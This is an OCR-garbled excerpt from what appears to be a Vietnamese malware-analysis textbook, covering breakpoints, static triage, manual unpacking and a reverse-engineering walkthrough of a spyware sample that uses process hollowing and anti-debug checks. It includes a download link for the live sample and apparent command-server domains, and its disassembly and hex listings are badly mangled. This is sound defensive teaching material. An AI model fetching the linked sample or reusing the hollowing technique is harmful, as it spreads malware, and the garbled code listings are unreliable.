xem ta dat n6 & dau chon debug-> Hardware 3 Breakpoint. Vo1 HWBP
on write va HWBP on access thi ta chi can boi den byte, word, Dword

tuy y muon ¢ cua s6 dump, sau dé dat BP.
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Conditional Breakpoint( shift+F2) ciing giébng BP thong thuong, tuy
nhién viéc dit Conditional BP phai théa man mot diéu kién da duoc thiét
lap tur trude. Ta 4n chon BP-> Conditional nhap vao diéu kién bén trong
0 d6. Puogc luu trong bang Breakpoint.

Conditional log Breakpoint( shift+F4) ciing giéng nhu conditional BP
nhung n6 ¢ thém tiy chon cho phép ta luu vét gia trj cia biéu thirc hoic
cac tham s funtion mdi khi xay ra Bp hoic khi théa mén diéu kién ma ta
yéu cau. Nhiing thong tin luu du vét nay s& duoc luu tai Log(L) cua
Olly.

4.2 Ky thuat phan tich so bg
Phén tich so bd 14 budc dau tién khi tién hanh phéan tich phan tich tinh :
Qué trinh ndy xem xét kiém tra cdu trac cua file md doc dé c6 duoge
thong tin so luoc.
Str dung cac budc sau :
- Quét qua cac chuong trinh virus dé xac dinh ma doc hai.
- Sir dung gié tri bam dé dinh danh virus.
- Thu thap théng tin tir cAu tric cia file (cac headers ...), cic ham
nhap/xuat va cac chudi dugc sir dung trong chuong trinh ma doc.
- St dung tir cac engine quét virus cua cac hang :
- http://www.virustotal.com
- http://virusscan.jotti.org/vn
- http://www.virscan.org/
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http://www.virscan.org/

SHAZEE:
SHAI:

MDE:

File size;

File name:

File type:
Tags:
Detection ratio:

Analysis date:

AhnLab-V3
Antivir
Antiy-AvL
Avast

AVG
BitDefender
ByteHero
CAT-QuickHeal
ClamAy
Commtouch
Comaodo
Drwveb
Emsisoft
eSafe
ESET-NOD32
F-Prot

F-Secure

016Bbdab78ec75f47 c7be036752013101a1011a2331TcocT 494f49e 1 26801
fefoddf716194b08a24fa6008e69becica2d528

B47 3021 dabdc1e024e3083c 1 afb3cfe

2120 KB ( 278528 bytes )

016Bbdab78ec75Md47 c7he036752013101a1011a23317 cocT 494f49e 1 25801
Win32 EXE

B/43

2012:09-24 08:36:54 UTC (2 months ago )

Trojan/Win32.Jorik
TR{Graftor. 18492
Worm/Win32. WEBNA. gen
Win32:VB-ABWG [Trj)
YBCcrypt. ESM

Gen:Variant. Barys.950
Worm.Vobfus.Gen

W32A/obfus. AD. genlEldorado
Worm. Win32.VB.AUA
Trojan.VbCrypt.81

Worm. Win32 WEBNAIIK

Win32/AutoRun VB.ATT
W32Mobfus. AD. genlEldorado

Gen:Variant. Barys 950

8000

20120923
20120924
20120911
20120924
20120923
20120924
20120923
20120924
20120923
20120924
20120924
20120924
20120919
20120920
20120924
20120924

20120924

- Dinh danh malware thong qua cac ham bam : MD5, SHA-1, SHA-

2

- Chia sé thong tin gifta cdc hang bao mat, cac chuyén gia phan tich
(virus trading) ...
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v

7% PED v0.93

File: | C:\Program Files\Hex Tools\BASECALC.EXE E
. Entrypoint: | 0002ADB4 EP Section: | CODE >
- | File Offset: [0002A164 First Bytes: [55,8B,EC,83 | > |

Linker Info: 2,25 Subsystem: | Win32 GUI i]

'Borland Delphi 2.0
Multi Scan Task Viewer Options About l Exit I

IV Stay on top ﬁ] _E’_J

7€ PED v0.93

File: | C:\Program Files\Hex Tools\basecalc.exe |
Entrypoint: | 0003F230 EP Section: | UPX1 i_l
File OFfset: 00015630 First Bytes: |60,BE,00,60 | > |
Linker Info: | 2,25 Subsystem: |Win32 GUI i’

UPX 0.89.6 - 1,02 / 1,05 - 1,24 (Delphi) stub - > Markus & Laszlo
Multi Scan Task Viewer Options About ] Exit ]

[V Stay on top ﬁ] _>|

- Thong qua ma hash xét xem file da duoc dinh danh hay chua.
- Tools : md5sum hodc md5deep
- Liét ké cac chudi ki tu c6 trong chuong trinh :

- (o0 cai nhin khai quat vé céc tinh nang hoat dong ctia malware.

YSI Strings WMY ANA nssignl6.dl]”

35.ns02 . us/
.ns02 .us/f

qwertl235. jp
20110607@cym
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Kiém tra cdu trac file thyuc thi (PE File Format) dé xac dinh :
- Chay trén nén tang hé diéu hanh nao (32bits, 64bits ...).
- La file thyuc thi, thu vién lién két dong hay driver.

- Cac thu vién, cac ham dugc import, export (néu la thu vién lién
két dong).

4.3 Phan tich giai nén cac mau
4.3.1 Bao vé ma doc biang phwong phap nén miu
Nhu d trinh bay vé céu trac PE cua céc file trén Win, ta c6 thé mo ta

cac file dugc pack nhu trong hinh vé.

DOS header

PE header

Section Table

Section 1 (unpacker code)
Section 2

Section chira Packed-data
DOS header
PE header

Section Table
Section 1
Section ........

Hinh 96 File PE khi bi pack

File duoc pack c6 cdu tric nhu mot bup bé ma ti ri u ska cua Nga,voi

file chinh chura file packed data — 1a file géc duoc nén, ma hoa.

Packed file van 1a mot file PE c6 cdu trac binh thudng. Thuong hoat
dong nhu sau:

Budce 1, Load thyc thi tir Entry Point nhu binh thuong véi cac section
chira code, import.

Budce 2, Trong unpacker code cua truong trinh thyc hién luu cac gia tri
cua cac thanh ghi, co ... roi thuc hién gidli ma, giai nén, viét lai File nhu
trude khi bi pack tr vung nhéd chua file da duge nén, ma hoa — Packed
data.

Budc 3, Tiép tuc thuc hién viéc 1ay dia chi caa cac windows API, tu

dién lai cac dia chi nay lai dé hoan chinh import table cua file vira dugc
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gai mi tai ving nhd chtra Packed-data ( O cac file thong thuong viée nay
dugc windows thuc hién tu dong khi file dugc load vao bo nhd. Qua
trinh nay thuong st dung cac API nhu GetProcAddress, LoadLibraryA
).

Budc 4, Tu section code sé thuc hién phuc hoi lai cac thanh ghi roi
jump dén EntryPoint (OEP) cua file méi duoc phuc hdi tir packed-data.

Minh hoa sau khi budc 2 thyc hi¢n xong ta co:

Section chira Packed-data véi kich thudce banh trudng.

Khi dugc gidi nén/ma

DOS header

PE header

Section Table

Section 1

Section 2

DOS header

PE header

Section Table

Section 1

Section ________

Hinh 4-28: Khi duoc giai nén
Ngoai ra trong budc 2 unpacker code con c¢6 thé thuc hién nhiéu thu
doan kiém tra xem c6 bi debug khong, kiém tra xem dang chay trong moi
truong do hay thuc, roi thuc hién danh lac hudng, can trd cong viéc unpack,
diéu tra. K
4.3.2 Giai nén miu ma doc

C6 nhiéu phuong phap dé unpack moét file nhu:

Céachl: Phan tich ham giai ma/ giai nén sau do tu giai ma cac thong tin
vé file trude khi bi pack trong packed-data. Khoi phyc lai file gan nhu
nguyén gdc.

Céch 2 tim dia chi Entrypoint cua file gbc (OEP) Break point hoic
trace dan dé debuger dung lai tai dia chi nay Dump b0 nhd ctia process

nay, roi thuc hién viée tao lai bang IAT phu hop véi file méi.
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Cach 3 xac dinh packer néu 1a cac packer phd bién co thé tim kiém
dugc céac trudong trinh tu dong unpack.

O day ta st dung phuong 4n 2 1a chinh do n6 don gian hon, an toan hon.

Load chuong trinh vao trinh Debug (& day ta dung OllyDebug).

Buéc 1: Tim kiém, Xac dinh OEP

Cach 1: OEP thuong duoc nhay dén bang mot 1énh Jump Far( d6i khi 1a
mot cdp 1énh push OEP address — ret ). Trudc 1€nh jump nay thuong la
doan khoi phuc lai cac thanh ghi, x0a cac thanh ghi cta unpacker code,
phia trén mot chuat nira thuong 1a doan code thuc hién tai tao lai import
table cta file gbc. Ta co thé xac dinh cac vi tri nay bang cac cach nhu dit
break point tai cac dia chi cua cac gia tri luu trong cac thanh ghi, Pat
break point tai cAc ham loadlibrary, getprocaddress.

V1 du khi unpack UPX packer ta dat hard ware tai dia chi chura gia tri ¢
dinh stack, khi phuc hoi lai cac thanh ghi dé chuan bi nhay dén OEP
chuong trinh s& pause lai, lic ndy ta dé dang nhin thay 1énh jump dén
OEP.

Céch 2: Dya vao viéc dat cac Break Point vao cac ham Virtual Alloc
(phan quyén lai cho cac ving nhd ). Pé xac dinh cac ving nhd dugc
phan quyén tir day co thé suy ra sau khi giai ma/ giai nén file duoc write
lai vao dau. Rdi sau dé ta c6 thé khoi phuc lai tir cac vung nh¢ nay thanh
file goc.Dat memory break point tai section ma file duoc write vao. Dua
vao viéc dén sb 1an bi pause cho dén khi file run hoan toan dé xac dinh
OEP.

Budc 2: Dump Execute Memory Image. Dt break Point dé chuong
trinh dung lai tai OEP. Dung cac tool nhu Plugin OllyDump cua Ollydbg
hodc Lord PE, PE tool dé dump, stra lai EP cua file sau khi dump thanh
OEP cho chinh xac.

Budc 3: Xay dung lai import table. Str dung ImportREC dé xay dung
lai import table.

Cac file pack thuong co cac chirc nang tu kiém tra xem noé cé bi chay
trén trinh debug nao khong, cé bi sira doi gi khdng ... Van dé nay sé
duoc trinh bay & cac phan tiép theo.
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4.5 Phan tich sir dung ky thuat dich ngwoc

Phén tich 1 file miu : CONF4.exe

Link Download mau: http://dl.dropbox.com/u/47379175/conf4.zip
Load vao trong Exeinfo PE:

PN . | ModC
55 T Exeinfo PE - ver0.0.3.1 by AS.L - 645 sign 20120518 o & [ .
: conf4.exe mE (=) |/ Res
Entry Point : 00022000 oo (<] EPSection: EndTz () 3EME . Newfo
File Offset: 00018300 First Bytes : B8.48.33.40.00 (-] [S] B Newfo
.. bin
Linker Info: 2,25 SubSystem : Windows GUIL About
File Size : 0001C280h Overlay : 000D00SBO K Faller
Image is 32bit executable RES/OVL:81 /2% 2004 Exit . http_

heck * FYF STICKFR ( 25A hutes ) like NntFiv FakeSinner nr PeShihOFP. (=] —

Lam SIGNATURE: 0

SAEINCS

Shortcut

e D1 CA CUILOT U1y U U GIEX
e
NECT

. ZeuS

Hinh 4-29 Quan sat thdng tin cia mau ma doc hai

Sau khi load xong Exeinfo PE cho biét file duoc gia sign ( chit ki dé
khong bi phat hién boi complier packer, boi cac chuong trinh check
sign)

Thong tin chi tiét thu duge nhu sau:

SHA256:
c09h262b940d22c7f0b6956aee094926400b66616bf70e4cdfoble7eac068
28

File name: conf4.exe

Detection ratio:  25/44

Analysis date: 2012-11-04

File nay 1a m¢t Spy/ Bot Net da bi 25/44 trinh diét virus co ban trén
virus total xac dinh.

https://www.virustotal.com/file/1c09b262b940d22c7f0b6956aee0949
a640db66616bf70e4cdf6ble7eaec06828/analysis/1352017991/

Thur tim kiém v6i Hash cua file trén google khong thu duoc két qua nao

ca, nhu vay file véi hash nay chua c6 két qua phan tich nao ca.

Ta tién hanh kiém tra.
Dua vao may 4o, Load vdi OllyDbg.
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Xem memorymap cac section, chuong trinh dang dung & entrypoint.
Chi c6 mot 1énh mov dia chi va jump don gian. Céc section twong dbi
gidng voi ngdn ngit Delphi ngoai trir section .End ¢ cudi cing. Nhu vay
ta xac dinh Malware da thay doi entry point xudng mot section méi &
cudi dé ngan khong cho cac chuong trinh tim kiém info tim complier,

cac info... Hoac danh Itra cac antivirus.

1g - confd.exe
w Debug Trace Plugins Options Windows Help

| »|m] i3 4E A|U] L|E| MW T|c|R[}] B[M|H]| E

INT3 breakpoints =N =l |]
ﬂ CPU - main thread, module conf4 -

BE 48334000 |MOV EAX, 00403348 @ Memary map
gg ﬂgg Lddress |Size Owner Section Contains Type|Lcoe
ag NOD 00405000 00001000 |confd DATZ Data Img |BW
ag NOD 00406000| 00001000 | confd B55 Img |BW
30 NOE 00407000 (00001000 cc:n::4 -idata Imports Img R:rl'
FFEO JME EAX 00408000| 00001000 | confd -tls Img |BW
a0 00403000|00001000 | confd .rdata Img (R
an 00402000 | 00001000 | confd -reloc Img (R
a0 0040B00O (00017000 | confd _ESIc Bespurces Img |BWE
aa 004ZZ000 (00001000 | confd -End SFX Img |BRWE
aa 00420000 (00020000 Map (R
aa O05BO000 (00003000 Map (R
aa D O0SEQOQ00 | 00003000 Priwv|EW
oo DE 00
oo EFL BREEAZ4E (MHO,ME, E,BE
ao =TE empty B.8
oo ST1 empty 8.8

T2 empty B.8
oo 5T3 enpty 6.8
oo DB 00 T4 empty 8.8
an nnon ATR emmtu ALA

Hinh 4-30 Xem memorymap cac section
Edit lai Entry Point vé 3348 (403348 — Image Base). Ta kiém tra lai va
thay

I Exeinfo PE - ver0.031 by AS.L - 645 sign 20120518 o] B ]

conf.exe [E] [E] [;]
Entry Point : 00003348 oo [=] EPSection: copE )

File Offset: 00002748 FirstBytes : 55,88.EC.B9.60 [ -] [5]
Linker Info : 2,75 SubSystem : Windows GUI E.ql:u:.utj
FleSize:  poo1c280h Overlay:  000O0SEO
Image is 32bit executable RES/OVL: 81 /2% 2004
Borland Celphi { 2.0 - 7.0 ) 2004 - www.borland.com + UNMKMOWN PRC
Lamer Info - Help Hint - Unpadk info _ W

Hinh 4-31 Kiém tra lai sau khi edit Entrypoint véi Exeinfo PE
Nhin vao ta thay né duoc viét bang Borland Delphi.
Lay ngay dugc thong tin vé complier, rat c6 thé chuong trinh khong
dugc pack. Ta chuyén sang load bang IDA. IDA ding ngay ¢ entrypoint.
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Ngay tai day packer thuc hién push hang loat cac doan chudi la. Rét c6
thé day 13 qua trinh giai ma cac chudi dé sir dung, thuc hién cho chuong
trinh.

| | A | I ]
4 @ Psgudocode-A @ Hex View-A | |E Structures | m Enums | ﬁ Imparts |
CODE: 00403348 var_14 = dword ptr -14h
CODE: 00403348
CODE: 00403348 push  ehp
CODE: 00403349 mov ehp, esp
CODE: 00403348 mov ecx, 60h
CODE: 00403350
CODE: 00403350 Toc_403350: ; CODE XREF: start+D}j
CODE: 00403350 push 0
CODE: 00403352 push 0
CODE: 00403354 dec ecx
CODE: 00403355 inz short Toc_403350
CODE: 00403357 mov eax, offset dword_403308
CODE: 0040335¢ call  suh_40225¢C
CODE: 00403361 Xor £ax, eax
CODE: 00403363 push  ehp
CODE: 00403364 push  offset Toc_4043AE
CODE: 00403369 push  dword ptr fs:[eax]
CODE: 0040336 mov fs:[eax], esp
CODE: 0040336F call  sub_4023E0
CODE: 00403374 mov eax, offset dword_406CBC
CODE: 00403379 mov edx, offset aTideyipo ; "tideyipo”
CODE: 0040337E call  sub_40151C
CODE: 00403383 mov eax, offset dword_406CCC
CODE: 00403388 mov edx, offset aRahaxaxi ; "rahaxaxi”
CODE: 0040338D call  sub_40151cC
CODE: 00403392 Tea edx, [ebp+var_18]
CODE: 00403395 mov eax, offset aUxszrm316Tvrrd ; "u/XSzRMS16LVRRdS"
CODE: 00403394 call  sub_402020
CODE: 0040339 mov eax, [ebp+var_18]
CODE: 00403342 Tea ecx, [ebprvar_14]
CODE: 00403345 mov edx, ds:dword_406CBC
CODE: 004033AR call  sub_402ee4
CODE: 00403380 mov edx, [ebprvar_14]
CODE: 00403383 mov eax, offset dword_406CAC
CODE: 00403388 call  sub_40151cC
CODE: 00403380 Tea edx, [ebp+var_20]

Hinh 4-32: Xuét hién cic ham giai ma
C6 nhiéu phuong phap dé st Iy cac ham giai mad ndy nhung phuong
phap don gian nhat 1a tiép tuc st dung Olly, debug xem cac ham nay
thuc hién giai mi gi.
Qua vai luot trace dé dang thiy dugc chuong trinh giai ma cac chudi
sau, luu vao stack, luu vao mot sb dia chi.

Tén cac ham tim dugc tir qua trinh gidi ma chudi:
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EEF—144 BASAZFSE| ASCII ""GloballLock™
EEF—14@ aasAzZ0Osa

EEBF—1320C HEZHZF2E| ASCII ""SetCl ipboacdData™
EEF—1325 HASAZEZS

EEF—1324 HBASAZEEE| ASCII ""Clos=Cl ipboard®
EEBF—13@ HEASHZCTE

EEF—120C HASAZESE| ASCII ""OpenCl ipbosrdt™
EEBF—125 aasAzZ0O4s

EEF—124 HBASAZ0OFE| ASCII ""GetCl ipboacrdData™
EEF—12G aasAzZcOs

EEF—11C AEZAZ0OES| ASCZII "Rt lDecompressBuffer™
EEF—-11%5 HASAZAZE

EEBF—114 HESHZ018| ASCII ""RegfluscullalusE=RA™
EEF—-11@ HASAZC1E

EEF—1@AC HBASAZCAS| ASCII ""FegldpsnkKewEHA™
EEF—1Aa% HASHZEES

EEF—1@4 HBASAZC4S| ASCII ""RegClossekKew ™
EEF—18& HASAZAIS

EEF—-FLC HASAZEBES| ASCII ""RegSetllalusE=RA"
EEBF—-F= HEAESHZAFE

EEF—F <4 HBASAZEZSE| ASCII ""RegCreatskKewERA""
EEF—-F& HASAZSZ28

EEF—EL: BASAZEZE| ASCII ""RegldpsnkewuA™
EEF—-E= HASAZ92E

EEF—E< HBASAZACE| ASCII ""GetTempPathA™
EEF—E& HASAZ21E

EEBF-0OLC HASHZASE| ASCII ""GetEnvironmentlariab le=A""
EEF—-0O= HASAZ228

EEF—-0O<4 HASAZ9FS| ASCII ""CreateFi leA™
EEBF—-0OG dEaZHZZER

EEBF—-CLC BASAZ2CA| ASCII ""GetModu l=F i leMHam=RA""
EEBF—-C= HASAZFEA

EEF—-C< HASAZYSE| ASCII ""GetblindowsDirectortA™
EEBF—-CH HEZHZ 758

EEF—EL BASAZE2EE| ASCII ""GetCommandlL inseRA""
EEF—-E= dasSAZa0s

EEBF—E< HEASHZ258| ASCII ""OpenFProcess""
EEF—-E& HASAZSER

EEF—HLC HEZAZVEZ| ASCII ""TerminateFrocess""
EEF—RH= HASAZZFS

EEF—A4 BASAZ7EE| ASCII ""ResumsThread™
EEF—H& HASAZ4SE

EEF—31C HEZAZVZE| ASCII ""CreateProcessA"
EBF—23 HEAESHZ53E

EEF—294 HBASAZSES| ASCII ""SetThreadContest™
EEF—2@ HASAZ&AS

EEBF—SILC HBASAZETE| ASCII ""GetThreadContest™
EEBF—-S2 HASAZSEE8

EEF—2< AEZAZEe4@| ASCII ""ReadFProcessHemors ™
EEF—S@ HBASAZ4FEa

EEBF—-rLC HASAZE0DE| ASCII "WriteFrocessMemoru”™
EEBF—-r& HASAZ4ES

EEF—r<4 BASAZE2E| ASCII ""UirtualProtectER™
EEBF—-vQ& aEazHZ =338

EEBF—&LC BAZSAZ428| ASCII ""UirtualAl locEx""
EEBF—-5&2 HASAZ=98

EEBF—&<4 BASAZ428| ASCII ""FreesL ibrarw ™
EBF—-5HA HEZHZZ27E

EEF—-SLC HBASAZZCE| ASCII ""SizeofResource""
EEBF-52 BasSAZ20%

EEBF—-5<4 HEASHZZSEE| ASCII ""FreseResource™
EEF—-ES@ HASAZ13E

EEF—41LC BASAZ2AS| ASCII "LockResource™
EEF—42 dasAZ108

EEF—44 BASAZZAS| ASCII "LoadResource"
EEF—4@ Basa0Fas

EEBF—3LC BASAZ288| ASCII "F indResourceA™
EBF—33 HEAEZSHZ 1398

EEF—3=4 BASAZZ248| ASCII ""ZwlnmaplliswdfSect ion"™"
EEF—32@ HASAZEAS

EEBF—Z1LC BASAZ158| ASCII "userEZ2.dLL"
EEBF—Z2 Bas3I0EAA

EEE—Ei Egﬁﬂalgﬁ ASCII "faduweapizz2.dlL™

Hinh 4- 33: Danh sach cac chudi dugc giai ma tim duoc bang Debug
Tiép tuc két hop Olly ta xac dinh duoc.
Sub 402EE4 1a ham gidi ma. Ta dinh danh lai trong IDA
Sub_4029F4 13 ham tuong dwong v6i ham GetProcessAddress. Ta viét
lai tén trong IDA.
Chuong trinh sir dung Sub 4029F4 dé 1dy dia chi cta cac tén ham da

dugc gidi ma. Luu vao hang loat dia chi.
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LODE: UU4U34E4
CODE:004034€7
CcoDE: 004034EA
CODE: 004034F0
CODE : 004034F5
CODE: 004034F8
CODE: 004034FD
CODE : 00403502

Cope: 00403508
ronc - NNAN3ISNA

Hinh 4-34 Str dung ham c¢6 chirc nang tuong tu ham GetProcAddress
dé 1ay dia chi Ham trong dll (d4 viét lai tén thanh GetProcAddress &
trong IDA)

Luu dia chi ham LockResoucre vao offset 4051 1c.

mov eax, [ebp+var_50]

Tea ecx, [ebp+LockResource]
mov edx, ds:trunggian

call giaima

mov edx, [ebp+LockResource]
mov eax, ds:kernel3?2

call GetProcAddres

mov edx, ds:off_40511C

mow [edx], eax

-ll:i: ﬂf‘l\’ rl:il"ll"lJ_'l.fDI"‘ I;R-l

Ta thuc hién viét lai tén cac ham cho hang loat cac dia chi dé dé dang

hon cho viéc Disasm:

UU4UIUDL
004050e0
004050e4
004050€E8
004050€EC
004050F0
004050F4
004050F8
004050FC
00405100
00405104
00405108
0040510C
00405110
00405114
00405118
0040511C
00405120
00405124
00405128
0040512C
00405130
00405134

8
0040514cC
00405150
00405154
00405154
00405158
0040515¢

OTT_4U2JULL
off_4050E0
off_4050e4
of f_4050E8
off_4050EC
off_4050F0
off_4050F4
off_4050F&
off_4050FC
off_405100
off_405104
off_405108
off_40510C
off_405110
off_405114
off_405118
off_40511cC
off_405120
off_405124
off_405128
off_40512C
off_405130
off_405134

off_405138
off_40513C
off_405140

4 off_405144

off_405148
off_40514C
off_405150
off_405154

of f_405158
off_40315¢

Hinh 4-35: Viét lai tén hang loat cac dia chi

OTTSetT
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset

offset
offset
offset
offset

offset
offset
offset
offset

offset
offset

AUVAFL3/_KegseTValUeEXA ;| UAIA XHEF: STAFTEDUL I
USER32_GetClipboardData ; DATA XREF: start+81771
WriteProcessMemory ; DATA XREF: start+ZECTr
kernel32_Globalunlock ; DATA XREF: start+091T

ZwUnmapViewOfSection ; DATA XREF: start+121Tr
CreatProcessA ; DATA XREF: start+3E8Tr
dword_406860 : DATA XREF: start+DAFTr
USER32_OpenClipboard ; DATA XREF: start+856Tr
ADVAPI32_RegCloseKey ; DATA XREF: starti/1BTr
wWowbdGetThreadContext ; DATA XREF: start+36Atr
ADVAPI32_RegOpenKeyA ; DATA XREF: start+65ETr
VirtualAllocEx ; DATA XREF: start+286Tr
dword_406868 : DATA XREF: start+CF5Tr

kernel32_GlobalAlloc : DATA XREF: start+9D0Tr
kernel32_GetTempPathA ; DATA XREF: start+blFTr
LoadResoucre ; DATA XREF: start+1871r
LockResoucre ; DATA XREF: start+lBATr

SizeOfReSoucreA ; DATA XREF: start+220tTr

VirtualProtectEx ; DATA XREF: start+ZBO9Tr
kernel32_GlobalLock ; DATA XREF: start+913Tr
USER32_CloseClipboard ; DATA XREF: start+895Tr
ReadProcessMemory ; DATA XREF: start+32BTr
kerne132_GetModu1eFi1eN%@$A - DATA XREF: start+362t1

; start+E07Tr
ADVAPI32_RegCreateKeyExA ; DATA XREF: start+69DT
ADVAPI32_RegOpenKeyEXA ; DATA XREF: starts/5ATr
FreeResoucre : DATA XREF: start+lEDTr
kernel32_GetEnvironmentvVariableA

- DATA XREF: start+5E0tr
kernel32_Globalsize ; DATA XREF: start+952Tp
USER32_setClipboardData ; DATA XREF: start+8p4T
dword_406864 ; DATA XREF: start+C3BTr
kernel32_GetwindowsDirectoryA

- DATA XREF: start+523tr
kernel32_GetCommandLineA ; DATA XREF: start+4edTr

Temrjtquocess - DATA XREF: sta"t—i6§1=

Tién hanh find refer. Ta xdc dinh dugc mot s6 cong tac chinh cua

chuong trinh nhu sau.
Sub_ 4025D4 thyc hién dung ham FileAttributesA kiém tra thudc tinh
cac file, stra lai cac thudc tinh file dé an ...
Sub_402B88, 402AF0 tién hanh load Resoucre chira cac binary cua cic

Virus.
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Sub_ 402734 tién hanh: tao mdt process mdi, supend Process vira tao

write lai process thanh exe mai, resumprocess véi chitc nang nhiém vu

mol.
UUUUUUUUUUUU s Cun
ODE : 004028¢3 push 4
ODE: 0040285 lea eax, [ebp+var_C]
ODE : 0040288 push eax
ODE: 004028¢9 mov eax, ds:dword_406828
ODE : 004028CE add eax, 8
ODE : 004028D1 push eax
ODE: 004028D2 mov eax, ds:dword_406730
ODE : 004028D7 push eax
ODE : 004028D8 call ds:WriteProcessMemory
ODE : 004028DE mov eax, [ebp+var_1C]
ODE:004028E1 mov eax, [eax+28h]
ODE: 004028E4 add eax, [ebp+var_C]
ODE : 004028E7 mov ds:dword_406834, eax
ODE : 004028EC push offset dword_406784
ODE : 004028F1 mov eax, ds:Hanle
ODE : 004028F6 push eax
ODE : 004028F7 call ds:setThreadContext
ODE: 004028FD cmp eax, 1
ODE: 00402900 sbb eax, eax
ODE: 00402902 inc eax
ODE: 00402903 test al, al
ODE : 00402905 jz short Toc_402915
ODE : 00402907 mov eax, ds:Hanle
ODE : 0040290C push eax ; _DWORD
ODE:0040290D call ds:ResumThread

ODE: 00402913 jmp short Toc_402923
opF-00407015 - T T T

Load bang ollydbg Break Point tai 402734 dé doi xem né write gi
nhung khong thanh cong, vay l1a c6 ham check debug. Trace into tung
budc, dat Break Point tai cic ham kha nghi, c6 refer dén ham exit
process. Ta xac dinh duoc:

Sub 4016F8 dugc call tai 0040412B 1la ham check debug. jnz

loc_404373 1 jump dén cudi chuong trinh thyc hién exit process.

BE484136 | - ~-AF 25 20E2ARAR

Hinh 4-36: Goi Ham check debug

Tién hanh stra d6i bang cach sira 1énh cac thanh cac 1énh goi ham NOP.

Hinh 4-37: Goi ham NOP
Tiép tuc run chuong trinh dimg lai ¢ 404364 noi ma ta da dit break

point 11 goi ham thuc hién rewrite process. Tiép tuc trace vao trong ham
dat thém mot sd break point tai cac ham API WriteProcessMemory ta

xac dinh dugc buffer ( vung nh¢ luu céc dit li¢u dugce write lai).
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PR AR

HOU ER, DRLRD PTR 05: (406730

Lqu .,IHHII FTR S51EEF-14)
FBH ER

LER ES1,MED PTR

MO ERKE, DORD

L

- mmmlﬂ WERRRRRRRT R
008 ED B0 a0 o0, it

002l & e lTlluiu
3 61 6E 6F &F| s Frw;rln 24

Hinh 4-38: Xac dinh dugc ving buffer
Tai vung diing li¢u 184260 chira hang loat dit li¢u co ciu trac 1a mot PE

file, hién nhién day la thir ta can tim, chinh 1a modul hoat dong chinh cta
chuong trinh duoc viét lai vao mot process moi.

Save Data bang cach Backup-> save data to file

File can lay bat dau tir offset 184260

8845 E4
83C8 18

E5 G7FEFFFF

8945 EB

3308

8045 EC ;

59 o :

803498 t I [EBR+EER"4]
2845 EQ : : : [EBP-28]
8844F0 10 E - : [EAX+ESI#B+16]
8B45 EB 0 te : [EBP-28]
gB44Fe 14 D5: [EAX+ESI#S+14]

1
is progran canno
be run in DI

(=]
4
a
e
2
6
2
2
E
=3
a
2
S
2
c
%)
3
]

2
4

(]
8888888%8%888%8888

gn

Hinh 4-39: Luu file can iy bat dau tir offset 184260
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Vung dit liéu bat dau tir 15¢000. Nhu vay sau khi save ra PE file ta can
bat dau tir 184260-15¢000:26260. Ta ding mot trwong trinh edit lai file

dir li€u vira save ra:

00026240 | 00 00 00 00 0000 00 00 0000 00 00 0000 00 00 wevrevnnranones
00026250 | b6 03 03 1c 0010 0000 01 1c Od2c af 01 0B 00 Wevuerunnans e
00026260 Sa 90 00 0300 00 00 04 00 00 00 ££f ££ 00 00 IZ ......... ..
00026270 | b8 00 00 00 00 00 00 00 4000 0000 0000 00 00 ,eveesss Bovivins
00026280 | 00 00 00 00 00 00 00 00 0000 0000 0000 00 00 .evvvvnnnnnnnnns
00026290 | 00 00 00 00 00 00 00 00 0000 00 00 €0 00 00 00 .uvuuvunnuns PN

00026280 | Oe 1f baOe 00 b4 09cd 21be Ol 4c cd 21 54 68 ..°.°.I!, Li'Th
00026200 | 69 73 20 70 72 6£ €7 72 61 €d 20 63 61 be 6e 6f is program canno
00026260 | 74 20 62 65 2072 75 66 20 69 68 20 44 4f 5320 ¢ be run in DOS
00026240 | 6d 6f 64 65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 mode....6.cuvun.
00026200 | ad 96 46 dd 9 £7 28 8e o9 f7 28 8¢ 9 £7 28 fe  --Fibs(és(28:(d

Hinh 4-40: Stra lai file v6i hexeditor
X6a hét cac dir liéu & phia trén di roi save lai.

T Exeinfo PE - ver0.031 by ASL- 645 sign 2012.05.18 (o] @ [
_0015E000.mem DIDE®

EntryPoint: 00008834 oo [¢] EPSection: text i) [22) 10

g8]| Fik Offset: 00008834 FirstBytes: 55.88.EC.68.FF -] (5] [Plua]
&~ .

-.E'._ Linker Info: 5,0 SubSystem : Windows GUI M
5 File Size:  gooiFDADh Overlay:  DO011DAD

Image is 32bit executable RES/OVL: 0/ 36 % 2010 Exit
Microsoft Visual C++ ver 5.0/6.0 , Qverlay
Lamer Info - Help Hint - Unpack info 2052 MB Total Pl'l'fSiCEl' Memo

Mot packed , try disassemble ClyDbg ( wi

Hinh 4-41: Kiém tra véi file vira sira
File viét bang Visual C++ 5/6 van bj 13i ta kiém tra lai. Phan dau ta da
stra lai x6a hét dit liéu thira. Vay rat c6 thé phan cudi thira dir liéu. Ta

xem cac section cua file xem raw offset két thuc & dau:
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! Sections viewer: [ _0015E000.mem ] 3 sections - alignment : 1000k EI@

MNr Virtual ...  Virtuals... RAWD... RAWsize Flags MName First bytes (hex) First Ascii 20h b...
Olep 00001000 OO0O7E26 00001000 00003000 60000020 .text 8B 4C 240488 41 180... L$J AfL L$J
02im 00003000 0Q00010C4 00003000 00002000 40000040 .rdata FCADODOD44A0000... | D 6] X
03 0000BOOOD  00045CSC  0000BOOO 00003000 COO00040 .data 00000000 112C400.., 1@ 2@ DII -

Left Mouse Button - cof

Section status : Section size :

03 Executable Readable Writable 12KB
Cio | Cose |

-» RAW decimal size: 12288 bytes = 1200 kb = 0,01 MB <-

Hinh 4-42: Xem cac section cua file

Rawdata ctia section cudi B000, size 3000. Vay file két thuc tai
B000+3000 = E000. Ta lai dung hexedit x6a hét phan dit liéu bat dau tur
E000.

Vay la ta da c6 duogc File hoan chinh. File nay mdi 1a file chinh thuc
hién moi nhiém vu cia chuong trinh.

Tiép tuc phan tich file méi tim duoc nay. Load chuong trinh nay vao
IDA, IDA dung lai & ham Main.

pusn enx
push esi

push edi

call GetFunction

call checksafesSys

call Kiemtramayao

test eax, eax

inz Toc_402a52

call checkdebug

test al, al

jnz Toc_4024a52

call ds:GetCurrentProcess
mov esi, eax

push esi

call checkbebug?

cmp al,

pop ecx

Hinh 4-43: Dung lai & ham Main
Kiém tra ham dau tién 1a ham thyc hién GetProcessAddress hang loat
cic ham & cic thu vién Kernel32,User32, advapi32.dll,
shell32.dll,mdr.dll, dnsapi.dll ...

